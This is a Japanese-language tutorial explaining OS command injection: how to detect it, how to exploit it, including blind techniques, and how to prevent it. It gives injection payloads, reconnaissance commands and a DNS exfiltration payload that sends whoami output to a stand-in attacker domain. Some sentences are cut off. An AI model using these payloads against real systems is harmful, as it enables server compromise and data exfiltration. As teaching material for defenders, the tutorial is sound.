このセクションでは、OS command injectionとは何か、脆弱性を検出して悪用する方法について説明し、さまざまなオペレーティングシステム用の有用なコマンドとテクニックを説明し、OS command injectionを防ぐ方法を要約します。
OSコマンドインジェクションとは何ですか?
OS command injection(shell injectionとも呼ばれます)は、攻撃者がアプリケーションを実行しているサーバー上で任意のオペレーティングシステム(OS)コマンドを実行し、通常はアプリケーシ 多くの場合、攻撃者はOSコマンドインジェクションの脆弱性を利用してホスティングインフラストラクチャの他の部分を侵害し、信頼関係を悪用して組織内の他のシステムに攻撃を集中させる可能性があります。
任意のコマンドの実行
アイテムが特定の店舗に在庫があるかどうかをユーザーに表示させるショッピングアプリケーションを考えてみましょう。 この情報は、次のようなURLを介してアクセスされます:
https://insecure-website.com/stockStatus?productID=381&storeID=29
在庫情報を提供するには、アプリケーションがさまざまなレガシーシステムを照会する必要があります。 歴史的な理由から、この機能は、製品IdとストアIdを引数としてシェルコマンドを呼び出すことによって実装されます:
stockreport.pl 381 29
このコマンドは、指定された品目の在庫状況を出力し、ユーザーに返されます。
アプリケーションはOSコマンド注入に対する防御を実装していないため、攻撃者は次の入力を送信して任意のコマンドを実行することができます:
& echo aiwefwlguh &
この入力がproductID
パラメーターで送信された場合、アプリケーションによって実行されるコマンドは次のようになります:
stockreport.pl & echo aiwefwlguh & 29
echo
コマンドは、指定された文字列を出力にエコーするだけで、いくつかのタイプのOSコマンドインジェクションをテストするのに便利な方法です。 &
文字はシェルコマンドの区切り文字であるため、実際には3つの別々のコマンドが次々に実行されます。 その結果、ユーザーに返される出力は次のようになります:
Error - productID was not provided
aiwefwlguh
29: command not found
出力の3行は、次のことを示しています:
- 元の
stockreport.pl
コマンドは、期待される引数なしで実行されたため、エラーメッセージが返されました。 - 挿入された
echo
コマンドが実行され、指定された文字列が出力にエコーされました。 - 元の引数
29
がコマンドとして実行され、エラーが発生しました。
注入されたコマンドの後に追加のコマンド区切り記号&
を配置することは、注入されたコマンドを注入点に続くものから分離するため、一般的に これにより、次のコマンドが挿入されたコマンドの実行を妨げる可能性が低減されます。
便利なコマンド
OSコマンドインジェクションの脆弱性を特定した場合、一般的に、侵害したシステムに関する情報を取得するためにいくつかの初期コ 以下は、LinuxおよびWindowsプラットフォームで有用ないくつかのコマンドの概要です:
コマンドの目的 | Linux | Windows |
---|---|---|
現在のユーザーの名前 | whoami |
whoami |
オペレーティングシステム | uname -a |
ver |
ネットワーク構成 | ifconfig |
ipconfig /all |
ネットワーク接続 | netstat -an |
netstat -an |
実行中のプロセス | ps -ef |
tasklist |
Blind OSコマンドインジェクションの脆弱性
OSコマンドインジェクションの多くのインスタンスは盲目の脆弱性です。 これは、アプリケーションがHTTP応答内でコマンドからの出力を返さないことを意味します。 盲目の脆弱性は依然として悪用される可能性がありますが、さまざまな技術が必要です。
ユーザーがサイトについてのフィードバックを送信できるwebサイトを考えてみましょう。 ユーザーは自分のメールアドレスとフィードバックメッセージを入力します。 サーバー側のアプリケーションは、フィードバックを含むサイト管理者への電子メールを生成します。 これを行うために、送信された詳細を含むmail
プログラムを呼び出します。 例えば:
mail -s "This site is great" -aFrom:[email protected] [email protected]
mail
コマンドからの出力(もしあれば)はアプリケーションの応答に返されないため、echo
ペイロードを使用することは効果的ではありません。 このような状況では、他のさまざまな手法を使用して、脆弱性を検出して悪用することができます。
遅延時間を使用したブラインドOSコマンド注入の検出
注入されたコマンドを使用すると、遅延時間をトリガすることができ、アプリケーションが応答するのにかかる時間に基づいてコマンドが実行されたことを確認できます。 ping
コマンドは、送信するICMPパケットの数を指定できるため、コマンドの実行にかかる時間を指定できるため、これを行う効果的な方法です:
& ping -c 10 127.0.0.1 &
このコマンドを実行すると、アプリケーションはループバックネットワークアダプタに10秒間pingを実行します。
blind OSコマンドインジェクションを悪用する出力をリダイレクトすることにより
注入されたコマンドからの出力をwebルート内のファイルにリダイレ たとえば、アプリケーションがファイルシステムの場所/var/www/static
から静的リソースを提供する場合は、次の入力を送信できます:
& whoami > /var/www/static/whoami.txt &
>
文字は、whoami
コマンドからの出力を指定されたファイルに送信します。 その後、ブラウザを使用してhttps://vulnerable-website.com/whoami.txt
をフェッチしてファイルを取得し、注入されたコマンドからの出力を表示できます。
帯域外(OAST)技術を使用したブラインドOSコマンド注入の悪用
注入されたコマンドを使用すると、OAST技術を使用して、制御するシステムとの帯域外ネットワー 例えば:
& nslookup kgji2ohoyw.web-attacker.com &
このペイロードは、nslookup
コマンドを使用して、指定されたドメインのDNSルックアップを実行します。 攻撃者は、指定された参照が発生しているかどうかを監視し、コマンドが正常に挿入されたことを検出できます。
out-of-bandチャンネルは、注入されたコマンドからの出力を簡単に抽出する方法も提供します:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
これにより、whoami
コマンドの結果を含む攻撃者のドメインへのDNSルックアップが発生します:
wwwuser.kgji2ohoyw.web-attacker.com
OSコマンド注入の方法
OSコマンド注入攻撃を実行するために、さまざまなシェルメタチャラクタを使用することができます。
多くの文字がコマンド区切り文字として機能し、コマンドを連鎖させることができます。 次のコマンド区切り文字は、WindowsベースとUnixベースの両方のシステムで動作します:
-
&
-
&&
-
|
-
||
次のコマンド区切り文字は、Unixベースのシステムでのみ機能します:
-
;
- 改行(
0x0a
または\n
)
Unixベースのシステムでは、バッククォートまたはドル文字を使用して、元のコマンド内で注入されたコマンドのインライン実行を実行することもで:
-
`
注入されたコマンド`
-
$(
注入されたコマンド)
シェルのメタ文字の動作が微妙に異なるため、特定の状況で動作するかどうか、コマンド出力の帯域内検索を許可するかどうか、または盲目の悪用に
場合によっては、制御する入力が元のコマンドの引用符内に表示されることがあります。 この状況では、適切なシェルメタ文字を使用して新しいコマンドを挿入する前に、引用符で囲まれたコンテキストを("
または'
を使用して)終了する必要
OSコマンドインジェクション攻撃を防ぐ方法
OSコマンドインジェクションの脆弱性を防ぐ最も効果的な方法は、アプリケーション層のコードからOSコマンドを呼び出さないことです。 事実上すべてのケースで、より安全なプラットフォームApiを使用して必要な機能を実装する別の方法があります。
ユーザーが指定した入力でOSコマンドを呼び出すことが避けられないと考えられる場合は、強力な入力検証を実行する必要があります。 効果的な検証の例には、次のものがあります:
- 許可された値のホワイトリストに対する検証。
- 入力が数値であることを検証します。
- 入力に英数字のみが含まれ、他の構文や空白は含まれていないことを検証します。
シェルメタ文字をエスケープして入力をサニタイズしようとしないでください。 実際には、これはあまりにもエラーが発生しやすく、熟練した攻撃者によってバイパスされる脆弱性があります。